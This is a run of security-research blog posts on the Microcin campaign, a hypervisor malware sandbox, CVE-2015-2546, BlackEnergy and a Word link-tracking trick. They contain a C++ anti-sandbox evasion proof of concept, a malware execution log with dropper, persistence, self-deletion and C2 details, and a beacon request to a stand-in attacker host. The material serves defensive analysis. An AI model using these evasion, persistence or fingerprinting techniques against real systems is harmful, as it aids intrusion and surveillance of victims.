  1. The exploit is activated, and an appropriate (32-bit or 64-bit) version of the malicious program is installed on the victim computer, depending on the type of operating system installed on it. To do this installation, malicious code is injected into the system process ‘explorer.exe’ rather than into its memory. The malicious program has a modular structure: its main body is stored in the registry, while its add-on modules are downloaded following the instruction arriving from the C&C server. DLL hijacking (use of a modified system library) is used to ensure that the main module is launched each time the system is rebooted.
  2. The main module of the malicious program receives an instruction to download and launch add-on modules, which opens new capabilities for the threat actors.
  3. The malicious add-on modules provide opportunities to control the victim system, take screenshots of windows and intercept information entered from the keyboard. We have seen them in other cyber-espionage campaigns as well.
  4. The threat actors use PowerSploit, a modified set of PowerShell scripts, and various utilities to steal files and passwords found on the victim computer.

The cybercriminals were primarily interested in .doc, .ppt, .xls, .docx, .pptx, .xlsx, .pdf, .txt and .rtf files on the victim computers. The harvested files were packed into a password-protected archive and sent to the threat actors’ server.

Overall, the tactics, techniques and procedures that the cybercriminals used in their attacks can hardly be considered complicated or expensive. However, there were a few things that caught our eye:

  • The payload (at least one of the modules) is delivered using some simple steganography. Within traffic, it looks like a download of a regular JPEG image; however, the encrypted payload is loaded immediately after the image data. Microcin searches for a special ‘ABCD’ label in such a file; it is followed by a special structure, after which the payload comes, to be decrypted by Microcin. This way, new, platform-independent code and/or PE files can be delivered.
  • If the Microcin installer detects the processes of some anti-malware programs running in the system, then, during installation, it skips the step of injecting into ‘explorer.exe’, and the modified system library used for establishing the malicious program within the system is placed into the folder %WINDIR%; to do this, the system app ‘wusa.exe’ is used with the parameter “/extract” (on operating systems with UAC).

Conclusion

No fundamentally new technologies are used in this malicious campaign, be it 0-day vulnerabilities or innovations in invasion or camouflaging techniques. The threat actors’ toolkit includes the following:

  • A watering hole attack with a Microsoft Office exploit;
  • Fileless storage of the main set of malicious functions (i.e., the shellcode) and the add-on modules;
  • Invasion into a system process without injecting code into its memory;
  • DLL hijacking applied to a system process as a means of ensuring automatic launch that does not leave any traces in the registry’s autorun keys.

The attackers also make use of PowerShell scripts that are used extensively in penetration tests. We have seen backdoors being used in different targeted attacks, while PowerSploit is an open-source project. However, cybercriminals can use known technologies as well to achieve their goals.

The most interesting part of this malicious campaign, in our view, is the attack vectors used in it. The organizations that are likely to find themselves on the cybercriminals’ target lists often do not pay any attention to these vectors.

First, if your corporate infrastructure is well protected and therefore ‘expensive’ to attack (i.e., an attack may require expensive 0-day exploits and other complicated tools), then the attackers will most likely attempt to attack your rank-and-file employees. This step follows a simple logic: an employee’s personal IT resources (such as his/her computer or mobile device) may become the ‘door’ leading into your corporate perimeter without the need of launching a direct attack. Therefore, it is important for organizations to inform their employees about the existing cyber threats and how they work.

Second, Microcin is just one out of a multitude of malicious campaigns that use tools and methods that are difficult to detect using standard or even corporate-class security solutions. Therefore, we recommend that large corporations and government agencies use comprehensive security solutions to protect against targeted attacks. These products are capable of detecting an ongoing attack, even if it employs only a minimum of manifestly malicious tools, as the attackers instead seek to use legal tools for penetration testing, remote control and other tasks.

The implementation of a comprehensive security system can substantially reduce the risk of the organization falling victim to a targeted attack, even though it is still unknown at the time of the attack. There is no way around it; without proper protection, your secrets may be stolen, and information is often more valuable than the cost of its reliable protection.

For more details of this malicious attack, please read Attachment (PDF).

A Modern Hypervisor as a Basis for a Sandbox

In the field of information security, sandboxes are used to isolate an insecure external environment from a secure internal environment (or vice versa), to protect against the exploitation of vulnerabilities, and to analyze malicious code. At Kaspersky Lab, we have several sandboxes, including an Android sandbox. In this article, we will look at just one of them that was customized to serve the needs of a specific product and became the basis of Kaspersky Anti Targeted Attack Platform. This particular sandbox is an analysis system for Windows applications that helps automate the analysis and detection of malicious code, conduct research and promptly detect the latest types of attacks.

There are several ways of implementing a sandbox to perform dynamic analysis of malicious code. For example, the following methods can be used:

style=”margin-bottom:0!important”>

  • Standard emulation, interception of functions in the user space and in the kernel space;
  • Information from kernel callback functions and from various filter drivers;
  • Hardware virtualization.

Combinations of these methods are also possible.

Practice has shown that implementation of full-fledged emulation is a costly affair as it requires continuous support and enhancements to the emulation of API functions, as well as increased attention to execution evasion and emulation detection techniques. Interceptors didn’t last too long either: malware learned to bypass them using relatively simple methods, ‘learning’ to identify if they are present and refusing to execute their malicious payload to avoid detection.

Methods to detect and bypass splicing have been known for years – it’s sufficient to check or trace the prologues of popular API functions or build your own prologues to bypass an interceptor (the latter is used by cryptors and packers). Moreover, splicing technology itself is fairly unstable in a multithreaded environment. It’s also obvious that in a user space the level of isolation of malicious code from interceptors is effectively zero, because the operating system itself is modified – something that is very conspicuous.

And that’s not all. In order to receive the results for the execution of an API function, it’s necessary to regain control after its execution, which is typically done by rewriting the return address. This mechanism has also proven unstable. However, the biggest headache came with the attempt to transfer this sort of mechanism to new operating systems.

Therefore, if a security solution vendor claims their sandbox uses splicing of API functions, takes events from the Windows kernel and is “amazing, unique, undetectable and produces near-100% results”, we recommend you avoid them like the plague. Some vendors may be perfectly happy with that sort of quality, but we definitely aren’t.

Having taken note of all the above facts (and a number of others), we have implemented our own sandbox based on hardware virtualization. At the current time this is an optimal solution in terms of balance between performance, extendibility and isolation.

A hypervisor provides a good degree of isolation of the guest virtual machine from the host by ensuring control over CPU and RAM. At the same time, modern processors have a minimal impact on performance when virtualization is used.

The infrastructure

The hardware for our sandbox has been acquired at different times over recent years, and is still being added to, so its infrastructure is rather diverse. Today, we have around 75 high-performance servers deployed, constituting four nodes in three data centers; in total, there are some 2500 vCPUs. We use a variety of hardware types, from M2 systems and blade servers to M5 systems running Intel Xeon E5, with support for the technologies we need. Up to 2000 virtual machines are running at any given time.

Up to four million objects per day are processed by the service at peak times, and around two million at off-peak times.

For Internet access within the sandbox, about 15 channels are used, the details of which we prefer not to disclose. Outgoing traffic from the node reaches 5 Gb/s at peak times and 2 Gb/sec at off-peak times.

The internal structure

Our sandbox consists of multiple components, each of which is responsible for designated functions. The transport subsystem communicates with the outside world, receives commands from the outside and passes on the collected information. There are subsystems that perform file and network interactions, monitor threads/processes and references to the Windows registry. The logging subsystem collects the input and output information of API functions. There is also a component in the system that emulates user actions. In addition, we have included an option to create and use plugins, so the functional capabilities can be extended.

The advantage of our solution is its broad functionality, plus the logging system can be installed on any operating system or on actual hardware. The image of the guest operating system can be customized to suit the client’s needs.

Our analysts can also create dedicated subprograms to perform detection based on collected artifacts, as well as carry out different types of research. These subprograms include those that operate within the sandbox in real time.

Object processing and artifacts

Depending on the type of file that comes in for processing, it will be ‘packed’ by the Task Processor component into a special kind of packet that contains additional information on how the file should be launched, which operating system to select, the amount of time for processing, etc.

After that, another component, the Task Executor, performs the following actions:

style=”margin-bottom:0!important”>

  1. Launches virtual machine;
  2. Submits file;
  3. Applies extra configuration to guest operating system;
  4. Executes file;
  5. Waits until execution is complete;
  6. Scans and/or transfers collected artifacts.

The following artifacts are collected by Kaspersky Lab’s sandbox:

style=”margin-bottom:0!important”>

  • Program’s execution log (all API function calls with all parameters, plus some events);
  • Dumps of various memory ranges, loaded modules etc.;
  • All types of changes in file system and system registry;
  • PCAP files containing networking data;
  • Screenshots.

The logging subsystem

The central mechanism of Kaspersky Lab’s sandbox is the logging subsystem that implements the method of non-invasive interception of called API functions and the return values. This means the subsystem is capable of ‘suspending’ the thread of the process being investigated at those moments when it calls an API function or returns from it, and of processing that event synchronously. All this takes place without any modifications to the code.

For each page of the virtual address space, we introduce an attribute of that page’s association with the DLL Known Module (KM). At any given point in time for a particular thread, either the pages that have the KM attribute installed are executable, or those pages where it has not been installed, but never both at the same time. This means that when an API function call is attempted, control is delegated to the KM page which at that moment is not executable according to the above rule. The processor generates an exception, which results in an exit to the hypervisor, and that event is processed. The exact opposite takes place when the API function returns control.

The left-hand side of the above diagram represents the memory of a typical process: the areas highlighted in red are those where execution of instructions is disabled, and the areas in green are those where execution of instructions is enabled. The right of the diagram shows the same process in two states: execution is enabled in the system libraries or elsewhere, but never both at the same time. Accordingly, if you learn how to turn the entire address space of user mode red at the right time, you can catch the returns from system calls.

For all of this to work, copies of original address space page tables are introduced. They are used to translate the virtual address into a physical address. In one of the copies, the pages with the KM attribute are executable, and the pages without the KM attribute are non-executable. In the other copy, it is the other way around. Each record in this sort of table corresponds to a certain page of the virtual address space and, among other things, has the NX attribute that tells the processor if it can execute the instructions on that page. The above rule defines the content of this attribute, depending on the copy and the page’s association with KM. To keep the copies of page tables up to date, there is a module in the subsystem that reacts synchronously to changes in the original address space and, in accordance with our rules, makes those changes to the copies of the address spaces. The operating system, meanwhile, is unaware of the fact that it is running on copies of the original address space, and as far as it is concerned everything is transparent.

Anti-evasion

Modern malware uses a whole variety of methods to evade execution of code that may expose malicious activity.

The following techniques are used most frequently:

style=”margin-bottom:0!important”>

  • Detecting a virtual runtime environment (a sandbox, emulator, etc.) from indirect evidence;
  • ‘Targeted’ execution: malicious activity is exposed only if the program is launched in the right/required runtime environment, at a specific time, etc.

If malicious code detects a research environment, the following (or more) may happen:

style=”margin-bottom:0!important”>

  • Instantaneous termination;
  • Self-destruction;
  • Execution of a useless section of code;
  • Execution of a secure section of code;
  • Attempt to compromise the detected research system;
  • Other.

If the system does not meet the required parameters, the malicious program may perform any of the above, but most probably it will destroy itself so that it leaves no traces in the system.

Sandbox developers need to pay particular attention to evasion techniques, and Kaspersky Lab is no exception. We find out about these techniques from a variety of sources, such as public presentations, articles, open-source tools (e.g. Pafish) and, of course, from analyzing malicious code. Along with the continuous improvements we make to our sandbox, we have also implemented automated randomization of various guest environment parameters to reduce execution evasion rates.

Vault 7 evasion methods

As a result of the Vault 7 leak, we discovered the following information about a potential method for evading code execution in our sandbox:

“The Trojan Upclicker (as reported by eEye) uses the SetWindowsHookExA API with the WH_MOUSE_LL parameter to wait until the user lets up the left mouse button (WM_LBUTTONUP) before performing any malicious functionality (then it injects into Explorer.exe). A sandbox environment that does not mimic mouse actions (probably most of them) will never execute the malicious behavior. This is probably effective against Kaspersky and others.”

This was an interesting assumption, so we immediately checked it. We implemented a console-based application (the source code is attached, so readers can use it to check their sandboxes), and it was little surprise that the function ExecuteEvil() executed successfully.

/*
Copyright 2017 AO Kaspersky Lab. All Rights Reserved.
Anti-Sandboxing: Wait for Mouse Click PoC: https://wikileaks.org/ciav7p1/cms/page_2621847.html
RU: https://securelist.ru/a-modern-hypervisor-as-a-basis-for-a-sandbox/80739/
EN: https://securelist.com/a-modern-hypervisor-as-a-basis-for-a-sandbox/81902/
*/
#include stdafx.h
#include <windows.h>
#include <iostream>
#include <thread>
#include <atomic>
HHOOK global_hook = nullptr;
std::atomic<bool> global_ready(true);
void ExecuteEvil() {
std::cout << This will never be executed in Sandbox << std::endl;
// TODO: add your EVIL code here
UnhookWindowsHookEx(global_hook);
ExitProcess(42);
}
LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) {
if ( nCode < 0 ) {
return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
if ( nCode == HC_ACTION && wParam == WM_LBUTTONUP && global_ready == true ) {
global_ready = false;
std::thread(ExecuteEvil).detach(); // execute EVIL thread detached
}
return CallNextHookEx(nullptr, nCode, wParam, lParam);
}
int _tmain(int argc, _TCHAR* argv[]) {
FreeConsole(); // hide console window
global_hook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, nullptr, 0);
// emulate message queue
MSG msg;
while ( GetMessage(&msg, NULL, 0, 0) ) {
Sleep(0);
}
return 0;
}

GitHub

It came as no surprise, because there is a dedicated component in our sandbox that emulates user actions and whose actions are indistinguishable from those of a regular user. This component exhibits generic behavior and, moreover, it ‘knows’ popular applications, interacting with them just like a regular user, e.g. it ‘reads’ documents opened in Microsoft Word and installs applications if an installer is launched.

Heuristic search for exploits

Thanks to a system of plugins, we can infinitely expand the functionalities of the sandbox. One such plugin, Exploit Checker, detects typical activity of early post-exploitation phases. The events it detects are logged, and the memory assigned to them is dumped to the hard drive for further analysis.

Below are some examples of Exploit Checker events:

style=”margin-bottom:0!important”>

  • Exploited exceptions:
    • DEP violation
    • Heap corruption
    • Illegal/privileged instruction
    • Others
  • Stack execution;
  • EoP detection;
  • Predetection of Heap Spray;
  • Execution of user space code in Ring 0;
  • Change of process token;
  • Others

CVE-2015-2546

Let’s take a look at the vulnerability CVE-2015-2545 and its extension CVE-2015-2546. Microsoft Office versions 2007 SP3, 2010 SP2, 2013 SP1 and 2013 RT SP1 are exposed to the former – it allows remote attackers to execute arbitrary code using a crafted EPS file. The latter allows remote attackers to execute arbitrary code in kernel mode. Both vulnerabilities were used in a targeted attack by the Platinum (aka TwoForOne) group. The attackers first exploited CVE-2015-2545 to execute code in the process WINWORD.EXE, and then CVE-2015-2546 to escalate privileges up to the SYSTEM level.

CVE-2015-2546 is a classic Use-After-Free (UAF)-type vulnerability. Exploitation results in an escalation of process privileges up to SYSTEM level. Let’s take a closer look at this second vulnerability.

By detonating a crafted document in our sandbox, we obtained an aggregate execution log which we then filtered for events with the Exploit Checker plugin. This produced quite a lot of events, so we will only present the most interesting, i.e. those that allow us to obtain the shellcode of CVE-2015-2546 – user space code executed in kernel mode. (SMEP is used to counteract this technique.)

[…]
<EXPLOIT_CHECK Process=”FLTLDR.EXE” Pid=”0x000000000000XXXX” Tid=”0x000000000000XXXX”>UserSpaceSupervisorCPL(“VA:0000000001FC29C0”,allocbase=0000000001FC0000,base=0000000001FC2000,size=4096(0x1000),dumpBase=0000000001FC2000,dumpid=0xD)</EXPLOIT_CHECK>
<EXPLOIT_CHECK Process=”FLTLDR.EXE” Pid=”0x000000000000XXXX” Tid=”0x000000000000XXXX”>SecurityTokenChanged()</EXPLOIT_CHECK>
[…]
  1. We find the dump with ID = 0xD among the memory dumps of the process FLTLDR.EXE;
  2. The base address of the memory area is 0x1FC2000, the address of the code is located at 0x1FC29C0;
  3. Shellcode offset equals 0x1FC29C0 — 0x1FC2000 = 0x9C0.

Shellcode in a memory dump

Naturally, the shellcode search algorithm will change depending on the type of vulnerability, but that doesn’t change the basic principle.

Exploit Checker is a plugin for the logging system that provides extra events, based on certain heuristics, to the execution log. Apart from that, it collects the required artifacts: memory dumps that are used for further analysis and for detection.

BlackEnergy in the sandbox

We have already reported on an attack launched in Ukraine by the APT group BlackEnergy using Microsoft Word documents. Here’s a summary of the analysis:

style=”margin-bottom:0!important”>

  1. Microsoft Word documents containing macros were used in the attack;
  2. A macro drops the file vba_macro.exe, a typical BlackEnergy dropper, to the disk;
  3. exe drops the file FONTCACHE.DAT, a regular DLL file, to the disk;
  4. For the DLL file to execute at each system launch, the dropper creates an LNK file in the startup system folder;
  5. The Trojan connects to its C&C at 5.149.254.114.

Below is a fragment of the execution log that we obtained by detonating a malicious Microsoft Word document in our sandbox running a guest Windows 7 x64 environment.

[0XXX] >> ShellExecuteExW (“[HIDDEN_DIR]\e15b36c2e394d599a8ab352159089dd2.doc”)
[…]
<PROCESS_CREATE_SUCCESS Pid=”0xXXX” ParentPid=”0xXXX” CreatedPid=”0xYYY” />
<PROC_LOG_START Pid=”0xYYY” RequestorPid=”0xXXX” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</ImagePath>
<CmdLine>&quot;%PROGRAM_FILES%\Microsoft Office\Office14\WINWORD.EXE&quot; /n &quot;[HIDDEN_DIR]\e15b36c2e394d599a8ab352159089dd2.doc&quot;</CmdLine>
</PROC_LOG_START>
[…]
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x30000000″ ImageSize=”0x15d000″>
<ImagePath>\Device\HarddiskVolumeZ\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</ImagePath>
</LOAD_IMAGE>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x78e50000″ ImageSize=”0x1a9000″>
<ImagePath>\SystemRoot\System32\ntdll.dll</ImagePath>
</LOAD_IMAGE>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0x7de70000″ ImageSize=”0x180000″>
<ImagePath>\SystemRoot\SysWOW64\ntdll.dll</ImagePath>
</LOAD_IMAGE>
[…]
[0YYY] >> SetWindowTextW (0000000000050018,00000000001875BC -> “e15b36c2e394d599a8ab352159089dd2.doc [Compatibility Mode] — Microsoft Word”) => 00000000390A056C {0000}
[…]
<FILE_CREATED Pid=”0xYYY”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_CREATED>
<FILE_WRITE Pid=”0xYYY” Position=”0x0″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_WRITE Pid=”0xYYY” Position=”0x1″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_WRITE Pid=”0xYYY” Position=”0x2″ Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
[…]
<FILE_WRITE Pid=”0xYYY” Position=”0x1afff” Size=”0x0000000000000001″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_WRITE>
<FILE_MODIFIED Pid=”0xYYY”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</Name>
</FILE_MODIFIED>
[0YYY] << CloseHandle () [00000001] {0000}
[…]
[0YYY] >> CreateProcessW (0000000000000000 -> (NULL),000000000047FEDC -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe”,0000000000000000,0000000000000000,00000000,00000000,0000000000000000,0000000000000000 -> (NULL),00000000001883B0 -> (STARTUPINFOEXW*){(STARTUPINFOW){,,lpDesktop=0000000000000000 -> (NULL),lpTitle=0000000000000000 -> (NULL),,,,,,,,,wShowWindow=0001,,,,,},},00000000001883F4) => 000000000B87C2F8 {0000}
<PROCESS_CREATE_SUCCESS Pid=”0xYYY” ParentPid=”0xYYY” CreatedPid=”0xZZZ” />
<PROC_LOG_START Pid=”0xZZZ” RequestorPid=”0xYYY” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</ImagePath>
<CmdLine>%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</CmdLine>
</PROC_LOG_START>
<LOAD_IMAGE Pid=”0xYYY” ImageBase=”0xcb90000″ ImageSize=”0x1b000″>
<ImagePath>\Users\[HIDDEN_USER]\AppData\Local\Temp\vba_macro.exe</ImagePath>
</LOAD_IMAGE>
[…]
[0ZZZ] << SHGetFolderPathA (,,,,000000000018FCC0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local”) [00000000] {0000}
[0ZZZ] >> CreateFileA (000000000018FCC0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT”,40000000,00000000,0000000000000000,00000002,00000002,0000000000000000 -> (NULL)) => 0000000000421160 {0000}
<FILE_CREATED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_CREATED>
[…]
<FILE_WRITE Pid=”0xZZZ” Position=”0x0″ Size=”0x000000000000DE00″>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_WRITE>
[…]
<FILE_MODIFIED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT</Name>
</FILE_MODIFIED>
[0ZZZ] << CloseHandle () [00000001] {0000}
[…]
<FILE_CREATED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_CREATED>
[…]
<FILE_WRITE Pid=”0xZZZ” Position=”0x0″ Size=”0x000000000000075D”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_WRITE>
<FILE_MODIFIED Pid=”0xZZZ”>
<Name>\Device\HarddiskVolumeZ\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk</Name>
</FILE_MODIFIED>
[…]
[0ZZZ] >> ShellExecuteW (0000000000000000,000000000018FEC8 -> “open”,000000000018F8B0 -> “%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{C2F5139C-7918-4CE6-A17C-77B9290128D8}.lnk”,0000000000000000 -> (NULL),0000000000000000 -> (NULL),00000000) => 000000000042195D {0000}
[…]
<PROCESS_CREATE_SUCCESS Pid=”0xZZZ” ParentPid=”0xZZZ” CreatedPid=”0xAAA” />
<PROC_LOG_START Pid=”0xAAA” RequestorPid=”0xZZZ” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Windows\SysWOW64\rundll32.exe</ImagePath>
<CmdLine>&quot;%SYSTEM_ROOT%\Windows\System32\rundll32.exe&quot; &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT&quot;,#1</CmdLine>
</PROC_LOG_START>
[…]
[0ZZZ] >> CreateProcessA (000000000018F334 -> “%SYSTEM_ROOT%\Windows\system32\cmd.exe”,000000000018EE20 -> “/s /c \”for /L %i in (1,1,100) do (attrib +h \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE\” & del /A:h /F \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE\” & ping localhost -n 2 & if not exist \”%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT\” Exit 1)\””,0000000000000000,0000000000000000,00000000,08000000,0000000000000000,0000000000000000 -> (NULL),000000000018F848 -> (STARTUPINFOA*){cb=00000044,lpReserved=0000000000000000 -> (NULL),lpDesktop=0000000000000000 -> (NULL),lpTitle=0000000000000000 -> (NULL),dwX=00000000,dwY=00000000,dwXSize=00000000,dwYSize=00000000,dwXCountChars=00000000,dwYCountChars=00000000,dwFillAttribute=00000000,dwFlags=00000001,wShowWindow=0000,cbReserved2=0000,lpReserved2=0000000000000000,hStdInput=0000000000000000 -> (NULL),,},000000000018F88C) => 0000000000421666 {0000}
<PROCESS_CREATE_SUCCESS Pid=”0xZZZ” ParentPid=”0xZZZ” CreatedPid=”0xBBB” />
<PROC_LOG_START Pid=”0xBBB” RequestorPid=”0xZZZ” Reason=”OnCreateChild”>
<ImagePath>\Device\HarddiskVolumeZ\Windows\SysWOW64\cmd.exe</ImagePath>
<CmdLine>/s /c &quot;for /L %i in (1,1,100) do (attrib +h &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE&quot; &amp; del /A:h /F &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\Temp\VBA_MA~1.EXE&quot; &amp; ping localhost -n 2 &amp; if not exist &quot;%SYSTEM_ROOT%\Users\[HIDDEN_USER]\AppData\Local\FONTCACHE.DAT&quot; Exit 1)&quot;</CmdLine>
</PROC_LOG_START>
[…]

As a result of executing the malicious document, we obtained the following:

style=”margin-bottom:0!important”>

  • A log of called API functions in all processes associated with malicious activities;
  • Memory maps for all these processes, including both the loaded modules and heap memory;
  • All changes to the file system;
  • Network packets;
  • Screenshots.

This information is more than sufficient for a detailed analysis.

Conclusions

Kaspersky Lab’s sandbox for Windows applications is a large and a complex project that has been running for several years now. During this period, the logging system has demonstrated its effectiveness, so we use it not only in our internal infrastructure but in Kaspersky Anti Targeted Attack Platform too.

The use of a hypervisor has solved numerous problems related to malicious programs detecting sandbox environments. However, cybercriminals are continuously inventing new techniques, so we keep a close watch on the threat landscape and quickly introduce any necessary updates to the code base.

An (un)documented Word feature abused by attackers

A little while back we were investigating the malicious activities of the Freakyshelly targeted attack and came across spear phishing emails that had some interesting documents attached to them. They were in OLE2 format and contained no macros, exploits or any other active content. However, a close inspection revealed that they contained several links to PHP scripts located on third-party web resources. When we attempted to open these files in Microsoft Word, we found that the application addressed one of the links. As a result, the attackers received information about the software installed on the computer.

What did the bad guys want with that information? Well, to ensure a targeted attack is successful, intelligence first needs to be gathered, i.e. the bad guys need to find ways to reach prospective victims and collect information about them. In particular, they need to know the operating system version and the version of some applications on the victim computer, so they can send it the appropriate exploit.

In this specific case, the document looked like this:

There’s nothing suspicious about it at first glance – just a few tips about how to use Google search more effectively. The document contains no active content, no VBA macros, embedded Flash objects or PE files. However, when the user opens the document, Word sends the following GET request to one of the internal links. So we opened the original document used in the attack, replaced the suspicious links with http://evil-*, and obtained the following:

GET http://evil-333.com/cccccccccccc/ccccccccc/ccccccccc.php?cccccccccc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: evil-333.com
Proxy-Connection: Keep-Alive

This code effectively sent information about the software installed on the victim machine to the attackers, including info about which version of Microsoft Office was installed. We decided to examine why Office followed that link, and how these links can be identified in documents.

Inside a Word document

The first thing about the document that caught our eye was the INCLUDEPICTURE field containing one of the suspicious links. However, as can be seen, that is not the link that Word addresses.

As a matter of fact, the data chunk seen in the fragment above contains the first and only piece of text in this document. The text in Word documents resides in the WordDocument stream in a ‘raw state’, i.e. it contains no formatting except so-called fields. The fields tell Word that a certain segment of the text must be presented in a specific way; for example, it is thanks to these fields that we can see active links to other pages of the document, URL links, etc. The field INCLUDEPICTURE indicates that an image is attached to certain characters in the text. The 0x13 byte (marked in red) in front of this field indicates that the ‘raw’ text ends there and a field description begins. The description format is roughly as follows (according to [MS-DOC]: Word (.doc) Binary File Format):

Begin = 0x13
Sep = 0x14
End = 0x15
Field = <Begin> *<Field> [Sep] *<Field> <End>

style=”text-align:center”>

The separator byte 0x14 is marked in yellow, and the field end byte 0x15 is shown inside the pink box.

The link to the image in the INCLUDEPICTURE field should be in ASCII format, but in this case it is in Unicode, so Word ignores the link. However, the separator byte 0x14 is followed by the byte 0x01 (shown in the green box) which indicates to the word processor that an image should be inserted at this point. The question is: how do we find this image?

The characters and groups of characters within the text also possess properties; just like fields, these properties are responsible for formatting (for example, they specify that a certain piece of text must be rendered in italics). The properties of characters are stored in a two-level table within document streams under the names ‘xTable’ and ‘Data’. We will not go into the complex details of how to analyze character properties, but as a result of this analysis we can find the character properties from the offset 0x929 to 0x92C in the WordDocument stream:

This is the byte sequence with the picture placeholder 0x14 0x01 0x15. In the actual document, these bytes are located at offsets 0xB29 – 0xB2C, but the WordDocument stream begins with offset 0x200, and the character offsets are specified relative to its beginning.

The properties of the group of characters CP[2] indicate that an image is attached to them that is located in the Data stream at offset 0:

1FEF: prop[0]: 6A03 CPicLocation
1FF1: value[0]: 00000000 ; character = 14

style=”text-align:center”>

We arrive at this conclusion based on the fact that byte 0x01 is indicated in the INCLUDEPICTURE field’s value – this means the image should be located in the Data stream at the appropriate offset. If this value were different, then it would have been necessary to look for the image in a different place or ignore this property.

This is where we stumbled on an undocumented feature. Microsoft Office documentation provides basically no description of the INCLUDEPICTURE field. This is all there is:

0x43 INCLUDEPICTURE Specified in [ECMA-376] part 4, section 2.16.5.33.

style=”text-align:center”>

Standard ECMA-376 describes only that part of INCLUDEPICTURE that precedes the separator byte. It has no description of what the data that follows it may mean, and how it should be interpreted. This was the main problem in understanding what was actually happening.

So, we go to offset 0 in the Data stream and see that the so-called SHAPEFILE form is located there:

Forms are described in a different Microsoft document: [MS-ODRAW]: Office Drawing Binary File Format. This form has a name and, in this case, it is another suspicious link:

However, this is just an object name, so this link is not used in any way. While investigating this form further, let’s look at the flags field (in the red box):

The value 0x0000000E resolves into a combination of three flags:

style=”margin-bottom:0!important”>

  • msoblipflagURL 0x00000002
  • msoblipflagDoNotSave 0x00000004
  • msoblipflagLinkToFile 0x00000008

This indicates that additional data should be attached to the form (it is highlighted in yellow in the screenshot), and that this data constitutes a URL that leads to the actual content of the form. Also, there is a ‘do not save’ flag, which prevents this content from being saved to the actual document when it is opened.

If we look at what this URL is, we see that it’s the actual link that Word follows when the document is opened:

We should note that besides Word for Windows, this ‘feature’ is also present in Microsoft Office for iOS and in Microsoft Office for Android; LibreOffice and OpenOffice do not have it. If this document is opened in LibreOffice or OpenOffice, the malicious link is not called.

This is a complex mechanism that the bad guys have created to carry out profiling of potential victims for targeted attacks. In other words, they perform serious in-depth investigations in order to stay undetected while they carry out targeted attacks.

Kaspersky Lab’s security products are able to detect when the technique described in this article is used in Microsoft Word documents, and to find links embedded in a document using the same technique.

Connected Medicine and Its Diagnosis

Medical data is slowly but surely migrating from paper mediums to the digital infrastructure of medical institutions. Today, the data is “scattered” across databases, portals, medical equipment, etc. In some cases, the security of the network infrastructure of such organizations is neglected, and resources that process medical information are accessible from outside sources.

